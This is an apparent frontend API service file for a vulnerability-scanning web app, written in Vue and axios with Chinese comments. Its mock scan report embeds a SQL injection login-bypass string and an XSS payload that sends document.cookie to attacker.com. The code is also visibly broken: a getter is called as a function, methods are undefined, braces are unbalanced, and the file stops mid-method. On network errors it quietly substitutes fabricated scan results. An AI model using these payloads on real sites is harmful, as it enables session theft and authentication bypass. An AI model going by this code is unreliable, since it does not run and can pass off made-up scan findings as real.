import axios from 'axios'
import { ElMessage } from 'element-plus'
import { ref } from 'vue'

// 创建axios实例 - 修复baseURL配置
// 添加请求取消功能支持
// 使用更安全的方式获取环境变量，避免在浏览器环境中使用process
const getApiBaseUrl = () => {
  // 检查是否在Vite环境中
  if (import.meta && import.meta.env && import.meta.env.VITE_APP_API_BASE_URL) {
    return import.meta.env.VITE_APP_API_BASE_URL;
  }
  // 回退到默认值
  return '/api';
};

const api = axios.create({
  baseURL: getApiBaseUrl(),
  timeout: 30000, // 增加超时时间
  headers: {
    'Content-Type': 'application/json'
  },
  withCredentials: true // 确保跨域请求包含cookies
})

// 请求拦截器 - 添加token、时间戳和请求取消功能
api.interceptors.request.use(
  config => {
    // 添加时间戳避免缓存问题
    if (config.method === 'get') {
      config.params = {
        ...config.params,
        _t: Date.now()
      }
    }
    // 添加token等认证信息
    const token = localStorage.getItem('token')
    if (token) {
      config.headers['Authorization'] = `Bearer ${token}`
    }
    // 如果是apiService的实例调用，使用请求取消功能
    if (config._apiService) {
      config.requestKey = config._apiService.cancelDuplicateRequest(config);
    }
    
    return config
  },
  error => {
    return Promise.reject(error)
  }
)

// 响应拦截器 - 增强错误处理和请求清理
api.interceptors.response.use(
  response => {
    // 清理已完成的请求
    if (response.config && response.config.requestKey && response.config._apiService) {
      response.config._apiService.cleanPendingRequest(response.config.requestKey);
    }
    
    // 返回完整的response对象，而不仅仅是response.data
    return response
  },
  error => {
    // 清理已完成的请求（失败）
    if (error.config && error.config.requestKey && error.config._apiService) {
      error.config._apiService.cleanPendingRequest(error.config.requestKey);
    }
    
    // 统一错误处理
    const errorMessage = error.response?.data?.error || error.message || '服务器错误'
    console.error('API请求错误:', error)
    
    // 提供更详细的错误诊断信息
    if (error.response) {
      console.error('响应状态码:', error.response.status)
      console.error('响应数据:', error.response.data)
      
      // 对于401未授权错误，清除token并提示用户
      if (error.response.status === 401) {
        console.info('用户未授权，清除token并提示')
        localStorage.removeItem('token')
        localStorage.removeItem('user')
        localStorage.removeItem('loginSuccessTest')
        
        // 避免重复重定向
        if (window.location.pathname !== '/login') {
          ElMessage.warning('登录已过期，请重新登录')
          setTimeout(() => {
            window.location.href = '/login'
          }, 1500)
        }
      }
      // 对于404错误，提供更友好的处理
      else if (error.response.status === 404) {
        console.warn('API端点不存在:', error.config.url)
        // 不抛出错误，让调用方使用模拟数据作为回退
      }
    } else if (error.request) {
      console.error('请求已发送但未收到响应:', error.request)
    } else {
      console.error('请求配置错误:', error.message)
    }
    
    return Promise.reject(error)
  }
)

// 请求缓存
const requestCache = new Map()
const CACHE_DURATION = 30000 // 缓存时间30秒

// 防抖函数
function debounce(func, wait) {
  let timeout
  return function executedFunction(...args) {
    const later = () => {
      clearTimeout(timeout)
      func(...args)
    }
    clearTimeout(timeout)
    timeout = setTimeout(later, wait)
  }
}

// 带重试的请求函数
function withRetry(func, maxRetries = 3, delay = 1000) {
  return async function(...args) {
    let lastError;
    for (let i = 0; i < maxRetries; i++) {
      try {
        return await func(...args);
      } catch (error) {
        lastError = error;
        if (i < maxRetries - 1 && error.response?.status >= 500) {
          console.warn(`请求失败，${i + 1}/${maxRetries}次重试中...`);
          await new Promise(resolve => setTimeout(resolve, delay * Math.pow(2, i)));
        } else {
          throw error;
        }
      }
    }
    throw lastError;
  };
}

// API方法 - 使用ES6类实现
class ApiService {
  // 全局模拟数据控制标志 - 生产环境应设置为false，确保使用真实API
  useMockData = ref(false);
  
  // 存储验证码相关信息
  captchaId = null;
  currentCaptchaUrl = null;
  
  // 存储正在进行的请求，用于取消重复请求
  pendingRequests = new Map();
  
  // 并发请求限制器
  activeRequests = 0;
  maxConcurrentRequests = 5;
  requestQueue = [];
  
  // 增强的缓存系统
  cache = new Map();
  cacheConfig = {
    defaultDuration: 30000, // 默认30秒
    vulnerabilityList: 60000, // 漏洞列表60秒
    scanReport: 120000, // 扫描报告120秒
    dashboard: 30000, // 仪表盘30秒
    health: 5000 // 健康检查5秒
  };
  
  // 错误恢复配置
  recoveryConfig = {
    maxRetryAttempts: 3,
    retryDelay: 1000,
    backoffMultiplier: 2,
    errorTypesToRetry: ['network_error', 'timeout_error', 'server_error']
  };

  constructor() {
    // 默认使用真实后端API，只有显式设置为true时才使用模拟数据
    const storedSetting = this.getUseMockData();
    this.useMockData.value = storedSetting === true;
    
    console.log('API Service initialized with useMockData:', this.useMockData.value);
    
    // 绑定方法以保持this上下文
    this.submitScan = withRetry(this.submitScan.bind(this));
    this.getScanStatus = this.debouncedGetScanStatus();
    this.getScanReport = withRetry(this.getScanReport.bind(this));
    
    // 恢复可能存在的验证码ID
    this.restoreCaptchaId();
  }
  
  // 生成请求标识符
  getRequestKey(config) {
    const { method, url, params, data } = config;
    return `${method}-${url}-${JSON.stringify(params || {})}-${JSON.stringify(data || {})}`;
  }
  
  // 取消重复请求
  cancelDuplicateRequest(config) {
    const requestKey = this.getRequestKey(config);
    
    if (this.pendingRequests.has(requestKey)) {
      // 取消之前的请求
      const controller = this.pendingRequests.get(requestKey);
      controller.abort();
      console.log(`已取消重复请求: ${requestKey}`);
    }
    
    // 创建新的AbortController
    const controller = new AbortController();
    config.signal = controller.signal;
    
    // 存储请求控制器
    this.pendingRequests.set(requestKey, controller);
    
    return requestKey;
  }
  
  // 清理请求
  cleanPendingRequest(requestKey) {
    if (this.pendingRequests.has(requestKey)) {
      this.pendingRequests.delete(requestKey);
    }
  }
  
  // 缓存管理方法
  setCache(key, data, type = 'default') {
    const duration = this.cacheConfig[type] || this.cacheConfig.defaultDuration;
    const expiryTime = Date.now() + duration;
    
    this.cache.set(key, {
      data,
      expiryTime
    });
  }
  
  getCache(key) {
    if (!this.cache.has(key)) return null;
    
    const cached = this.cache.get(key);
    if (Date.now() > cached.expiryTime) {
      // 缓存已过期
      this.cache.delete(key);
      return null;
    }
    
    return cached.data;
  }
  
  clearCache(pattern) {
    if (!pattern) {
      this.cache.clear();
      return;
    }
    
    for (const key of this.cache.keys()) {
      if (key.includes(pattern)) {
        this.cache.delete(key);
      }
    }
  }
  
  // 并发请求控制器
  async processRequest(cacheKey, requestFn, ...args) {
    // 如果活跃请求数超过限制，将请求放入队列
    if (this.activeRequests >= this.maxConcurrentRequests) {
      await new Promise(resolve => {
        this.requestQueue.push(resolve);
      });
    }
    
    this.activeRequests++;
    
    try {
      return await requestFn(...args);
    } finally {
      this.activeRequests--;
      
      // 处理队列中的下一个请求
      if (this.requestQueue.length > 0) {
        const nextRequest = this.requestQueue.shift();
        nextRequest();
      }
    }
  }
  
  // 增强的请求重试机制
  async enhancedRequestWithRetry(requestFn, operationType = '', requestParams = {}) {
    // 创建重试配置，合并默认配置和操作类型特定的配置
    const config = { 
      ...this.recoveryConfig,
      operationType,
      requestParams 
    };
    let lastError;
    
    for (let attempt = 0; attempt < config.maxRetryAttempts; attempt++) {
      try {
        // 生成临时缓存键用于并发控制
        const tempCacheKey = `${operationType}-${attempt}-${Date.now()}`;
        return await this.processRequest(tempCacheKey, requestFn);
      } catch (error) {
        lastError = error;
        
        // 检查是否应该重试
        const shouldRetry = this.shouldRetryError(error, config.errorTypesToRetry);
        
        if (shouldRetry && attempt < config.maxRetryAttempts - 1) {
          const delay = config.retryDelay * Math.pow(config.backoffMultiplier, attempt);
          console.warn(`请求失败，${attempt + 1}/${config.maxRetryAttempts}次重试中... 延迟${delay}ms`);
          await new Promise(resolve => setTimeout(resolve, delay));
        } else {
          throw error;
        }
      }
    }
    
    throw lastError;
  }
  
  // 判断错误是否应该重试
  shouldRetryError(error, retryableErrorTypes) {
    if (error.code === 'ECONNABORTED') return true;
    if (!error.response) return true; // 网络错误
    
    // 根据错误类型判断
    if (error.response.status >= 500 && error.response.status < 600) {
      return true;
    }
    
    return false;
  }

  // 设置是否使用模拟数据
  setUseMockData(value) {
    this.useMockData.value = value;
    localStorage.setItem('useMockData', value ? 'true' : 'false');
    
    // 触发全局数据刷新事件
    this.triggerDataRefresh();
  }

  // 获取模拟数据设置
  getUseMockData() {
    const stored = localStorage.getItem('useMockData');
    return stored === 'true';
  }
  
  // 触发全局数据刷新事件
  triggerDataRefresh() {
    // 创建并分发自定义事件
    const event = new CustomEvent('data-source-changed', {
      detail: { useMockData: this.useMockData.value }
    });
    window.dispatchEvent(event);
  }
  
  // 获取当前数据模式
  getDataMode() {
    return this.useMockData.value ? 'mock' : 'real';
  }

  // 设置验证码ID
  setCaptchaId(captchaId) {
    console.log('设置验证码ID:', captchaId);
    this.captchaId = captchaId;
    // 可选：保存到localStorage以便在页面刷新后仍可使用
    localStorage.setItem('currentCaptchaId', captchaId);
  }

  // 获取验证码ID
  getCaptchaId() {
    return this.captchaId || localStorage.getItem('currentCaptchaId');
  }

  // 登录方法
  // 登录方法
  async login(username, password, captcha = '', captchaId = null) {
    // 参数验证
    if (!username || !password) {
      throw new Error('用户名和密码不能为空');
    }
    
    // 处理验证码ID
    if (captchaId) {
      this.setCaptchaId(captchaId);
    }
    
    // 选择登录方式：模拟数据或真实API
    if (this.useMockData.value) {
      return this.mockLogin(username, password, captchaId);
    } else {
      // 确保使用真实API
      this.useMockData.value = false;
      localStorage.removeItem('useMockData');
      
      // 使用统一的增强重试机制处理真实API请求
      return this.enhancedRequestWithRetry(() => {
        return this.performRealLogin(username, password, captcha);
      }, {
        maxRetries: 2,
        retryDelay: 1000,
        shouldRetry: (error) => this.shouldRetryError(error) && !error.message.includes('验证码')
      });
    }
  }
  
  // 模拟登录辅助方法
  async mockLogin(username, password, captchaId = null) {
    console.log('⚠️ 正在使用模拟数据进行登录，这仅用于开发测试！');
    
    return new Promise((resolve) => {
      setTimeout(() => {
        // 根据用户名决定用户角色
        const isAdmin = username.toLowerCase().includes('admin');
        const mockUser = {
          id: isAdmin ? 'admin-001' : 'user-' + Date.now(),
          username: username,
          name: isAdmin ? '系统管理员' : '普通用户',
          role: isAdmin ? 'admin' : 'user',
          permissions: isAdmin ? ['admin:all'] : ['scan', 'view_results']
        };
        
        const mockToken = 'mock-jwt-token-' + Date.now();
        
        // 保存到localStorage
        this.saveLoginCredentials(mockToken, mockUser);
        
        resolve({
          success: true,
          data: {
            user: mockUser,
            token: mockToken,
            captchaId: captchaId || '未提供',
            message: '模拟登录成功',
            testFlag: 'login_successfully_completed'
          }
        });
      }, 800); // 稍微缩短延迟以提高响应速度
    });
  }
  
  // 执行真实API登录
  async performRealLogin(username, password, captcha) {
    // 构建请求配置
    const config = {};
    const captchaId = this.getCaptchaId();
    
    if (captchaId) {
      config.headers = {
        'X-Captcha-ID': captchaId
      };
    }
    
    // 使用统一的axios实例发送请求
    const response = await api.post('/auth/login', { username, password, captcha }, config);
    
    // 处理响应
    return this.processLoginResponse(response.data, username);
  }
  
  // 处理登录响应
  processLoginResponse(responseData, username) {
    // 统一响应格式处理
    if (typeof responseData !== 'object' || responseData === null) {
      throw new Error('后端返回了无效的登录响应格式');
    }
    
    // 检查所有可能的token字段位置
    const token = responseData.token || 
                 responseData.data?.token || 
                 responseData.result?.token ||
                 responseData.access_token ||
                 responseData.accessToken;
                 
    // 检查所有可能的user字段位置
    const user = responseData.user || 
                responseData.data?.user || 
                responseData.result?.user ||
                (responseData.data && !responseData.data.token ? responseData.data : null) ||
                (token ? { username } : null);
    
    if (!token) {
      // 如果有明确的错误消息，使用它
      const errorMessage = responseData.message || responseData.error || '登录失败: 未返回有效的认证信息';
      throw new Error(errorMessage);
    }
    
    // 创建标准格式响应
    const formattedResponse = {
      success: true,
      data: {
        token,
        user: user || { username, id: username, role: 'user' }
      }
    };
    
    // 保存登录凭据
    this.saveLoginCredentials(token, formattedResponse.data.user);
    
    return formattedResponse;
  }
  
  // 保存登录凭据到localStorage
  saveLoginCredentials(token, user) {
    localStorage.setItem('token', token);
    localStorage.setItem('user', JSON.stringify(user));
    localStorage.setItem('lastLogin', new Date().toISOString());
  }

  // 获取图形验证码
  // 获取验证码
  async getCaptcha() {
    // 清除旧的验证码URL，避免内存泄漏
    if (this.currentCaptchaUrl) {
      URL.revokeObjectURL(this.currentCaptchaUrl);
    }
    
    try {
      console.log('开始获取验证码...');
      
      // 使用统一的增强重试机制
      const response = await this.enhancedRequestWithRetry(() => {
        // 使用统一的axios实例，但设置responseType为blob以处理图片
        return api.get('/auth/captcha', {
          responseType: 'blob', // 关键：设置正确的响应类型
          timeout: 10000, // 单独设置超时时间
          headers: {
            'Accept': 'image/png, image/jpeg, */*'
          }
        });
      }, {
        maxRetries: 3,
        retryDelay: (attempt) => attempt * 500, // 递增延迟
        shouldRetry: (error) => {
          // 服务器错误和网络错误都尝试重试
          return error.response?.status >= 500 || error.message.includes('Network');
        }
      });
      
      // 从响应头中获取验证码ID - 检查多种可能的头名称
      const captchaId = response.headers['x-captcha-id'] || 
                        response.headers['X-Captcha-ID'] || 
                        response.headers['captcha-id'] ||
                        response.headers['Captcha-ID'];
      
      // 处理验证码ID
      this.processCaptchaId(captchaId, response.url);
      
      // 使用axios返回的blob数据创建图片URL
      const blob = response.data; // axios已将响应转换为blob
      const imageUrl = URL.createObjectURL(blob);
      
      // 保存当前验证码URL引用，用于后续清理
      this.currentCaptchaUrl = imageUrl;
      
      console.log('验证码获取成功，已创建图片URL');
      
      // 返回包含图片URL和验证码ID的对象，便于前端使用
      return {
        imageUrl: imageUrl,
        captchaId: this.captchaId
      };
    } catch (error) {
      console.error('获取验证码时发生错误:', error);
      
      // 发生错误时，尝试从会话存储恢复验证码ID（如果有）
      this.getCaptchaId();
      
      throw new Error(`获取验证码失败: ${error.message}`);
    }
  }
  
  // 处理验证码ID
  processCaptchaId(captchaId, responseUrl) {
    if (captchaId) {
      console.log('从响应头获取到验证码ID:', captchaId);
      // 保存验证码ID到会话存储，确保页面刷新后可以恢复
      sessionStorage.setItem('currentCaptchaId', captchaId);
      // 也保存到实例属性以便后续使用
      this.captchaId = captchaId;
      
      // 记录验证码获取时间，用于过期检查
      sessionStorage.setItem('captchaTimestamp', Date.now().toString());
    } else {
      console.warn('响应头中未找到验证码ID，可能需要检查后端配置');
      
      // 尝试从URL查询参数中提取ID（如果后端通过URL传递）
      if (responseUrl && responseUrl.includes('captchaId=')) {
        const match = responseUrl.match(/captchaId=([^&]+)/);
        if (match && match[1]) {
          const urlCaptchaId = decodeURIComponent(match[1]);
          console.log('从URL获取到验证码ID:', urlCaptchaId);
          sessionStorage.setItem('currentCaptchaId', urlCaptchaId);
          this.captchaId = urlCaptchaId;
        }
      }
    }
  }

  // 清理验证码资源
  cleanupCaptcha() {
    if (this.currentCaptchaUrl) {
      URL.revokeObjectURL(this.currentCaptchaUrl);
      this.currentCaptchaUrl = null;
      console.log('已清理验证码URL资源');
    }
    // 可选：也清除ID
    // this.captchaId = null;
    // sessionStorage.removeItem('currentCaptchaId');
  }
  
  // 恢复验证码ID（页面刷新后使用）
  restoreCaptchaId() {
    const savedId = sessionStorage.getItem('currentCaptchaId');
    if (savedId) {
      console.log('恢复验证码ID:', savedId);
      this.captchaId = savedId;
      
      // 检查是否过期
      const captchaTimestamp = sessionStorage.getItem('captchaTimestamp');
      if (captchaTimestamp) {
        const age = Date.now() - parseInt(captchaTimestamp, 10);
        console.log('恢复的验证码ID年龄:', age/1000, '秒');
      }
      
      return savedId;
    }
    console.log('无验证码ID可恢复');
    return null;
  }

  // 刷新验证码
  async refreshCaptcha() {
    return this.getCaptcha();
  }

  // 获取当前验证码ID
  getCaptchaId() {
    // 检查验证码是否可能已过期（超过2分钟）
    const captchaTimestamp = sessionStorage.getItem('captchaTimestamp');
    if (captchaTimestamp) {
      const age = Date.now() - parseInt(captchaTimestamp, 10);
      if (age > 120000) { // 2分钟过期
        console.warn('验证码可能已过期，年龄:', age/1000, '秒');
        sessionStorage.removeItem('currentCaptchaId');
        sessionStorage.removeItem('captchaTimestamp');
        this.captchaId = null;
        return null;
      }
    }
    
    // 优先从实例属性获取
    if (this.captchaId) {
      console.log('从实例获取验证码ID:', this.captchaId);
      return this.captchaId;
    }
    
    // 从会话存储获取
    const savedId = sessionStorage.getItem('currentCaptchaId');
    if (savedId) {
      console.log('从会话存储获取验证码ID:', savedId);
      this.captchaId = savedId;
      return savedId;
    }
    
    console.warn('未找到有效的验证码ID');
    return null;
  }

  // 登出方法
  async logout() {
    try {
      if (!this.useMockData.value) {
        // 调用后端登出接口
        await api.post('/auth/logout')
      }
      
      // 清除本地存储的认证信息
      localStorage.removeItem('token')
      localStorage.removeItem('user')
      localStorage.removeItem('lastLogin')
      
      // 清理验证码资源
      this.cleanupCaptcha();
      
      return { success: true }
    } catch (error) {
      console.error('登出失败:', error)
      // 即使后端登出失败，也清除本地存储
      localStorage.removeItem('token')
      localStorage.removeItem('user')
      localStorage.removeItem('lastLogin')
      this.cleanupCaptcha();
      return { success: true }
    }
  }

  // 获取扫描结果
  async getScanResults(params = {}) {
    // 生成缓存键
    const cacheKey = this.getRequestKey('/scans', params);
    
    // 检查缓存
    const cachedResult = this.getCache(cacheKey);
    if (cachedResult && cachedResult.success) {
      console.log('从缓存获取扫描结果');
      return cachedResult;
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      if (this.useMockData.value) {
        // 模拟数据 - 提供更丰富的扫描结果
        const now = new Date();
        const mockResults = [
          {
            id: 'scan-' + Date.now() + '-001',
            name: '测试扫描1',
            target: 'https://example.com',
            status: 'completed',
            startTime: new Date(now.getTime() - 24 * 60 * 60 * 1000).toISOString(),
            endTime: new Date(now.getTime() - 23 * 30 * 60 * 1000).toISOString(),
            vulnerabilityCount: 5,
            severityLevels: {
              high: 1,
              medium: 3,
              low: 1
            }
          },
          {
            id: 'scan-' + Date.now() + '-002',
            name: '测试扫描2',
            target: 'https://test.com',
            status: 'running',
            startTime: new Date(now.getTime() - 1 * 60 * 60 * 1000).toISOString(),
            progress: 65,
            vulnerabilityCount: 0
          },
          {
            id: 'scan-' + Date.now() + '-003',
            name: 'API安全扫描',
            target: 'https://api.company.internal',
            status: 'completed',
            startTime: new Date(now.getTime() - 2 * 24 * 60 * 60 * 1000).toISOString(),
            endTime: new Date(now.getTime() - 23 * 50 * 60 * 1000).toISOString(),
            vulnerabilityCount: 12,
            severityLevels: {
              high: 4,
              medium: 6,
              low: 2
            }
          }
        ];
        
        const mockResult = {
          success: true,
          data: mockResults,
          total: mockResults.length
        };
        
        // 缓存模拟数据
        this.setCache(cacheKey, mockResult, 'vulnerabilityList', 60);
        return mockResult;
      }
      
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.get('/scans', { params }),
          'scanResults',
          params
        );
        
        // 缓存响应
        this.setCache(cacheKey, response, 'vulnerabilityList', 300);
        
        // 标准化响应格式
        return {
          success: response.success !== false,
          data: response.data || [],
          total: response.data?.total || response.data?.length || 0,
          message: response.message || '扫描结果获取成功'
        };
      } catch (error) {
        console.error('获取扫描结果失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        let errorMessage = '获取扫描结果失败';
        
        if (error.response) {
          errorType = 'server_error';
          errorMessage = error.response.data?.message || `服务器错误 (${error.response.status})`;
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
        } else if (error.request) {
          errorType = 'network_error';
          errorMessage = '网络连接失败，请检查网络设置';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          errorMessage = error.message || '请求配置错误';
          console.error('请求配置错误:', error.message);
        }
        
        // 提供有意义的模拟数据作为回退
        const mockData = this.generateMockScanHistory();
        
        // 缓存模拟数据
        this.setCache(cacheKey, mockData, 'scanHistory', 120);
        
        console.log('使用回退模拟数据');
        return {
          ...mockData,
          _isFallback: true,
          _errorInfo: {
            type: errorType,
            originalError: error.message || 'Unknown error'
          }
        };
      }
    });
  }
  
  // 判断错误是否可以恢复
  canRecoverFromError(errorType) {
    // 定义可恢复的错误类型
    const recoverableErrors = ['network_error', 'timeout_error'];
    return recoverableErrors.includes(errorType);
  }
  
  // 系统恢复方法
  async recoverFromError(healthStatus) {
    console.log('尝试从错误中恢复系统状态...', healthStatus);
    
    // 清除可能失效的缓存
    this.clearCache();
    
    // 根据健康状态决定恢复策略
    if (healthStatus.error === 'network_error' || healthStatus.error === 'timeout_error') {
      // 网络错误时，自动切换到模拟数据模式
      console.warn('检测到网络问题，自动切换到模拟数据模式以确保系统可用性');
      
      // 仅在用户没有明确设置的情况下自动切换
      if (localStorage.getItem('useMockData') === null) {
        this.setUseMockData(true);
        
        // 显示通知
        ElMessage.warning('检测到网络连接问题，系统已切换到模拟数据模式以确保功能正常使用');
      }
    }
    
    return { success: true, switchedToMock: this.useMockData.value };
  }

  // 提交新扫描
  async submitScan(scanConfig) {
    // 生成缓存键 - 虽然是POST操作，但仍需用于并发控制
    const cacheKey = this.getRequestKey('/scans', scanConfig);
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      if (this.useMockData.value) {
        // 模拟数据 - 提供更详细的提交结果
        const scanId = 'mock-scan-' + Date.now();
        const mockResult = {
          success: true,
          data: {
            scanId: scanId,
            status: 'submitted',
            target: scanConfig.target || '未知目标',
            scanType: scanConfig.scanType || '默认扫描',
            priority: scanConfig.priority || 'normal',
            createdAt: new Date().toISOString()
          },
          message: '扫描任务已成功创建'
        };
        
        // 清除可能受影响的缓存数据
        this.clearCacheByGroup('vulnerabilityList');
        
        return mockResult;
      }
      
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.post('/scans', scanConfig),
          'submitScan',
          scanConfig
        );
        
        // 清除可能受影响的缓存数据，确保用户看到最新的扫描列表
        this.clearCacheByGroup('vulnerabilityList');
        
        // 标准化响应格式
        return {
          success: response.success !== false,
          data: response.data || {},
          message: response.message || '扫描任务已成功提交'
        };
      } catch (error) {
        console.error('提交扫描失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        let errorMessage = '提交扫描失败';
        
        if (error.response) {
          errorType = 'server_error';
          errorMessage = error.response.data?.message || `服务器错误 (${error.response.status})`;
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
          
          // 特殊处理常见的验证错误
          if (error.response.status === 400 && error.response.data?.errors) {
            errorMessage = Object.values(error.response.data.errors).join('; ');
          }
        } else if (error.request) {
          errorType = 'network_error';
          errorMessage = '网络连接失败，请检查网络设置后重试';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          errorMessage = error.message || '请求配置错误';
          console.error('请求配置错误:', error.message);
        }
        
        // 提供友好的错误信息而不是抛出错误
        return {
          success: false,
          error: errorMessage,
          errorType: errorType,
          data: {}
        };
      }
    });
  }

  // 获取扫描状态（直接定义为类方法）
  async getScanStatus(scanId) {
    console.log('获取扫描状态，ID:', scanId);
    
    // 生成缓存键
    const cacheKey = this.getRequestKey('/scans/status', { scanId });
    
    // 检查缓存（状态查询使用较短的缓存时间，因为状态可能变化快）
    const cachedResult = this.getCache(cacheKey);
    if (cachedResult && cachedResult.success) {
      console.log('从缓存获取扫描状态');
      return cachedResult;
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      if (this.useMockData.value) {
        // 模拟状态 - 提供更详细的扫描状态信息
        const now = new Date();
        const randomProgress = Math.floor(Math.random() * 100);
        let status;
        
        if (randomProgress < 30) {
          status = 'running';
        } else if (randomProgress < 70) {
          status = 'processing';
        } else {
          status = 'completed';
        }
        
        const mockResult = {
          success: true,
          data: {
            scanId,
            status: status,
          progress: randomProgress,
            startTime: new Date(now.getTime() - 30 * 60 * 1000).toISOString(),
            estimatedTimeRemaining: status === 'completed' ? 0 : Math.floor(Math.random() * 300) + 60,
            currentStage: status === 'running' ? '执行漏洞扫描' : status === 'processing' ? '分析扫描结果' : '生成报告',
            scannedItems: Math.floor(Math.random() * 1000),
            totalItems: 1000,
            detectedVulnerabilities: status === 'completed' ? Math.floor(Math.random() * 50) : Math.floor(Math.random() * 10)
          },
          message: `扫描状态: ${status}`
        };
        
        // 缓存模拟数据（状态信息缓存时间较短）
        this.setCache(cacheKey, mockResult, 'scanStatus', 5);
        return mockResult;
      }
      
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.get(`/scans/${scanId}/status`),
          'getScanStatus',
          { scanId }
        );
        
        // 缓存响应（状态信息缓存时间较短）
        this.setCache(cacheKey, response, 'scanStatus', 5);
        
        // 标准化响应格式
        return {
          success: response.success !== false,
          data: response.data || {},
          message: response.message || '扫描状态获取成功'
        };
      } catch (error) {
        console.error('获取扫描状态失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        let errorMessage = '获取扫描状态失败';
        
        if (error.response) {
          errorType = 'server_error';
          errorMessage = error.response.data?.message || `服务器错误 (${error.response.status})`;
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
          
          // 特殊处理404错误
          if (error.response.status === 404) {
            errorMessage = '扫描任务不存在或已被删除';
          }
        } else if (error.request) {
          errorType = 'network_error';
          errorMessage = '网络连接失败，请检查网络设置';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          errorMessage = error.message || '请求配置错误';
          console.error('请求配置错误:', error.message);
        }
        
        // 提供友好的错误信息而不是抛出错误
        return {
          success: false,
          error: errorMessage,
          errorType: errorType,
          data: { scanId, status: 'unknown' }
        };
      }
    });
  }
  
  // 获取防抖版本的扫描状态方法
  get debouncedGetScanStatus() {
    // 确保只创建一次防抖函数
    if (!this._debouncedGetScanStatus) {
      this._debouncedGetScanStatus = debounce(this.getScanStatus.bind(this), 500);
    }
    return this._debouncedGetScanStatus;
  }

  // 获取扫描报告
  async getScanReport(scanId) {
    console.log('获取扫描报告，ID:', scanId, '使用模拟数据:', this.useMockData.value)
    
    // 生成缓存键
    const cacheKey = this.getRequestKey(`/scans/${scanId}/report`, { scanId });
    
    // 检查缓存
    const cachedResult = this.getCache(cacheKey);
    if (cachedResult && cachedResult.success) {
      console.log('从缓存获取扫描报告数据');
      return cachedResult;
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      if (this.useMockData.value) {
        // 增强的模拟报告数据
        const now = new Date();
        const scanStartTime = new Date(now.getTime() - 60 * 60 * 1000).toISOString(); // 1小时前
        const scanEndTime = new Date(now.getTime() - 30 * 60 * 1000).toISOString(); // 30分钟前
        
        const mockReport = {
          success: true,
          data: {
            scanId,
            target: `https://target-${Math.floor(Math.random() * 1000)}.com`,
            scanType: ['comprehensive', 'quick', 'api', 'webapp'][Math.floor(Math.random() * 4)],
            status: 'completed',
            startTime: scanStartTime,
            endTime: scanEndTime,
            duration: 1800, // 30分钟
            summary: {
              totalVulnerabilities: 15,
              high: 3,
              medium: 7,
              low: 5
            },
            environment: {
            userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            scanDepth: 'medium',
            threads: 10
          },
          vulnerabilities: [
            {
              id: 'vuln-1',
              vuln_id: 'CVE-2023-45678',
              title: 'SQL注入漏洞',
              severity: 'high',
              confidence: 'high',
              description: '在登录页面发现SQL注入漏洞，攻击者可通过注入恶意SQL代码绕过认证机制或访问/修改数据库内容。',
              recommendation: '使用参数化查询或预处理语句，避免直接拼接SQL语句。实施输入验证和过滤。',
              affectedUrl: '/api/login',
              affectedParameter: 'username',
              payload: "' OR '1'='1'--",
              cvss: 8.6,
              cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L',
              discoveryDate: scanStartTime,
              fixComplexity: 'low',
              references: ['https://owasp.org/www-community/attacks/SQL_Injection', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45678']
            },
            {
              id: 'vuln-2',
              vuln_id: 'CVE-2023-12345',
              title: '跨站脚本(XSS)漏洞',
              severity: 'medium',
              confidence: 'medium',
              description: '在用户评论功能中发现存储型XSS漏洞，可导致会话劫持和凭证泄露。',
              recommendation: '实施内容安全策略(CSP)，对所有用户输入进行HTML编码，使用安全的输出上下文。',
              affectedUrl: '/api/comments',
              affectedParameter: 'content',
              payload: '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>',
              cvss: 6.1,
              cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N',
              discoveryDate: scanStartTime,
              fixComplexity: 'low',
              references: ['https://owasp.org/www-community/attacks/xss/']
            }
          ]
        };
        
        // 缓存模拟数据结果
        this.setCache(cacheKey, mockReport, 'scanReport');
        return mockReport;
      }
      
      // 真实API调用
      try {
        const response = await this.enhancedRequestWithRetry(
          () => api.get(`/scans/${scanId}/report`),
          'scanReport',
          { scanId }
        );
        
        // 缓存API响应
        this.setCache(cacheKey, response, 'scanReport');
        return response;
      } catch (error) {
        console.error('获取扫描报告失败:', error);
        
        // 尝试从缓存恢复
        const fallbackCache = this.getCache(cacheKey, true);
        if (fallbackCache) {
          console.log('使用缓存的过期数据作为回退');
          return {
            ...fallbackCache,
            fromCache: true,
            cachedAt: fallbackCache.cachedAt
          };
        }
        
        throw error;
      }

  }

  // 获取用户信息 - 修复路径和错误处理
  async getCurrentUser() {
    try {
      // 详细记录当前状态
      console.log('==================== getCurrentUser 调用 ====================');
      console.log('当前localStorage中的token:', localStorage.getItem('token') ? '存在' : '不存在');
      console.log('当前localStorage中的user:', localStorage.getItem('user') ? '存在' : '不存在');
      console.log('当前localStorage中的loginSuccessTest:', localStorage.getItem('loginSuccessTest'));
      console.log('当前useMockData状态:', this.useMockData.value);
      
      // 先从本地存储获取
      const storedUser = localStorage.getItem('user')
      if (storedUser) {
        try {
          const parsedUser = JSON.parse(storedUser);
          console.log('使用本地存储的用户信息:', parsedUser);
          return parsedUser;
        } catch (e) {
          console.error('解析用户信息失败:', e)
          localStorage.removeItem('user')
        }
      }
      
